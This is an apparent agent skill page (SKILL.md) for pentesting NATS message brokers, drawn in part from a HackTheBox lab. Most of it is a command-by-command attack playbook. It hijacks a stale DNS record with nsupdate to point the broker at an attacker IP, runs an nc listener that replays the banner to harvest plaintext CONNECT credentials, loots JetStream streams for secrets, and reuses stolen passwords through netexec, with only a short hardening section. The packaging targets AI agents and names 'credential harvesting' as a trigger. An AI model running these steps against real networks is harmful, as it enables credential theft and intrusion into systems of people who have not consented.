# Nats Pentesting

> Pentest NATS message bus and JetStream services. Use this skill whenever you need to enumerate, exploit, or assess NATS servers (port 4222/tcp), capture credentials via DNS hijacking, loot JetStream streams for secrets, or harden NATS deployments. Trigger this skill for any NATS-related security testing, credential harvesting, or message broker assessment tasks.

- Skill: `abelrguezr/nats-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nats-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nats-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nats-pentesting

---


# NATS / JetStream Pentesting

A skill for security testing NATS message bus and JetStream persistence layers. NATS is a high-performance message broker that often runs with plaintext authentication, making it a valuable target for credential theft and lateral movement.

## Quick Start

```bash
# Check if NATS is running and grab the banner
echo | nc TARGET 4222

# If auth is required, you'll see: -ERR 'Authorization Violation'
# The INFO banner reveals: version, auth_required, jetstream, max_payload
```

## Enumeration

### 1. Service Discovery

Use nmap to identify NATS services and extract version info:

```bash
nmap -p4222 -sV --script banner TARGET
```

Expected output:
```
4222/tcp open  nats  NATS.io gnatsd 2.11.3
| banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
```

**Key banner fields to note:**
- `auth_required`: true/false - whether credentials are needed
- `jetstream`: true/false - persistence layer enabled
- `tls_required`: true/false - encryption enforced
- `max_payload`: max message size in bytes
- `version`: NATS server version (check for known CVEs)

### 2. Manual Banner Grabbing

```bash
echo | nc HOST 4222
```

This returns the INFO frame. If authentication is required, you'll immediately see `-ERR 'Authorization Violation'` after the banner.

### 3. NATS CLI Setup

Install the official CLI for deeper interaction (requires Go ≥1.21):

```bash
go install github.com/nats-io/natscli/nats@latest
```

Test connectivity:

```bash
nats -s nats://HOST:4222 rtt
```

If authentication is required, you'll get `nats: Authorization Violation` until you provide valid credentials.

## Credential Capture

### DNS Hijacking Attack

NATS clients connect to broker hostnames. If you can control DNS records, you can intercept credentials:

**Prerequisites:**
- Low-privileged domain user with DNS update permissions
- Stale or missing DNS record for the NATS broker hostname

**Attack flow:**

1. **Identify the broker hostname** (e.g., `nats-svc.domain.local`)
2. **Verify the record is stale or missing:**
   ```bash
   nslookup nats-svc.domain.local
   # Should return NXDOMAIN or point to wrong IP
   ```
3. **Register the hostname to your attacker IP:**
   ```bash
   nsupdate
   > server DC_IP
   > update add nats-svc.domain.local 60 A ATTACKER_IP
   > send
   ```
4. **Capture the legitimate banner once:**
   ```bash
   nc REAL_NATS 4222 | head -1 > banner.txt
   ```
5. **Replay the banner to connecting clients:**
   ```bash
   cat banner.txt | nc -lnvp 4222
   ```
   
   Or for a live relay:
   ```bash
   nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
   ```

6. **Harvest credentials:** When clients connect, they send a plaintext `CONNECT` frame:
   ```json
   CONNECT {"user":"USERNAME","pass":"PASSWORD","verbose":false,"pedantic":false,"protocol":1,"client_id":"..."}
   ```

**Advanced credential capture:**

For longer engagements, run a local NATS server with TRACE logging:

```bash
git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -DV  # -D for debug, -V for trace
```

TRACE logs show usernames; remove redaction or use Wireshark to capture full passwords.

## JetStream Looting

Once you have credentials, explore JetStream for stored secrets:

### 1. Configure CLI Context

```bash
nats context add <name> -s nats://HOST:4222 --user USERNAME --password PASSWORD
```

Example:
```bash
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
```

### 2. Enumerate Streams

```bash
# Check account info
nats account info --context <name>

# List all streams
nats stream list --context <name>

# Get stream details
nats stream info <stream_name> --context <name>

# View stream contents
nats stream view <stream_name> --context <name>
```

### 3. Hunt for Secrets

Common stream names that may contain credentials:
- `auth_logs`
- `logs.auth`
- `authentication`
- `credentials`
- `secrets`
- `api_keys`

Look for JSON payloads with plaintext credentials:

```json
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
```

### 4. Credential Reuse

Extracted credentials can be tested against other services:

```bash
# SMB/Kerberos
netexec smb DC01 -u USER -p PASS -k

# LDAP
netexec ldap DC01 -u USER -p PASS -k

# RDP
netexec rdp DC01 -u USER -p PASS -k
```

## Exploitation Patterns

### Pattern 1: Banner Grab → DNS Hijack → Credential Theft

1. Identify NATS broker hostname from network enumeration
2. Check if DNS record is stale or missing
3. Register hostname to attacker IP
4. Relay banner and capture CONNECT frames
5. Extract credentials from plaintext CONNECT messages

### Pattern 2: Known Credentials → JetStream Looting

1. Use existing credentials to connect to NATS
2. List all JetStream streams
3. Search for streams containing auth logs or secrets
4. Extract plaintext credentials from message payloads
5. Pivot to other services using harvested credentials

### Pattern 3: Unauthenticated Access → Data Exfiltration

If `auth_required: false` in the banner:

```bash
# Subscribe to all subjects
nats sub "*" --context <name>

# Publish test messages
nats pub test.subject "Hello NATS"

# View all streams without auth
nats stream list
```

## Hardening Recommendations

### Server Configuration

1. **Enforce TLS:**
   ```bash
   # In nats-server.conf
   tls {
     cert: /path/to/cert.pem
     key: /path/to/key.pem
   }
   # Or require TLS
   tls {
     cert: /path/to/cert.pem
     key: /path/to/key.pem
     verify: true
   }
   ```

2. **Use mTLS with nkeys:**
   ```bash
   # Generate nkey pair
   nats server nkey gen
   # Configure server to require nkey authentication
   ```

3. **Disable credential logging:**
   - Scrub secrets before publishing to subjects
   - Set JetStream retention limits
   - Apply `deny_delete=false` only to trusted operators

### Network Security

1. **Pinpoint DNS update permissions:**
   - Delegate service records to dedicated accounts
   - Audit Event IDs 257/252 for high-value hostnames
   - Enable scavenging alerts for missing broker names

2. **Monitor for anomalies:**
   - Repeated short-lived connections
   - Authentication timeouts
   - INFO banners that don't match the blessed template

3. **Network segmentation:**
   - Isolate NATS brokers from untrusted networks
   - Use firewalls to restrict access to port 4222
   - Implement network-level authentication

## Common Vulnerabilities

| Vulnerability | Description | Impact |
|--------------|-------------|--------|
| Plaintext AUTH | Credentials sent unencrypted | Credential theft |
| DNS Hijacking | Stale records allow impersonation | Man-in-the-middle |
| JetStream Logging | Secrets stored in streams | Data exfiltration |
| No TLS | All traffic visible on network | Full traffic capture |
| Weak Credentials | Simple passwords in CONNECT frames | Brute force success |

## Tools Reference

| Tool | Purpose | Command |
|------|---------|--------|
| nmap | Service discovery | `nmap -p4222 -sV --script banner TARGET` |
| nc | Banner grabbing | `echo \\| nc HOST 4222` |
| nats CLI | Full interaction | `nats -s nats://HOST:4222 <command>` |
| nsupdate | DNS manipulation | `nsupdate` interactive mode |
| netexec | Credential testing | `netexec smb DC01 -u USER -p PASS -k` |

## Example Workflow

```bash
# Step 1: Discover NATS service
nmap -p4222 -sV --script banner 10.10.10.50

# Step 2: Grab banner manually
echo | nc 10.10.10.50 4222
# INFO {"auth_required":true,"jetstream":true,...}

# Step 3: Check DNS for broker hostname
nslookup nats-svc.domain.local
# NXDOMAIN - opportunity for hijack!

# Step 4: Register DNS record
nsupdate
> server 10.10.10.5
> update add nats-svc.domain.local 60 A 10.10.14.5
> send

# Step 5: Capture credentials
cat banner.txt | nc -lnvp 4222
# Wait for client connection, capture CONNECT frame

# Step 6: Use credentials on JetStream
nats context add mirage -s nats://10.10.10.50:4222 --user captured_user --password 'captured_pass'
nats stream list --context mirage
nats stream view auth_logs --context mirage

# Step 7: Pivot with harvested credentials
netexec smb dc01.domain.local -u david.jjackson -p 'pN8kQmn6b86!1234@' -k
```

## References

- [NATS Documentation](https://docs.nats.io/)
- [NATS CLI](https://github.com/nats-io/natscli)
- [NATS Server](https://github.com/nats-io/nats-server)
- [HackTheBox Mirage Walkthrough](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html)
- [NATS Security Best Practices](https://docs.nats.io/running-a-nats-service/configuration/securing_nats/auth_intro)

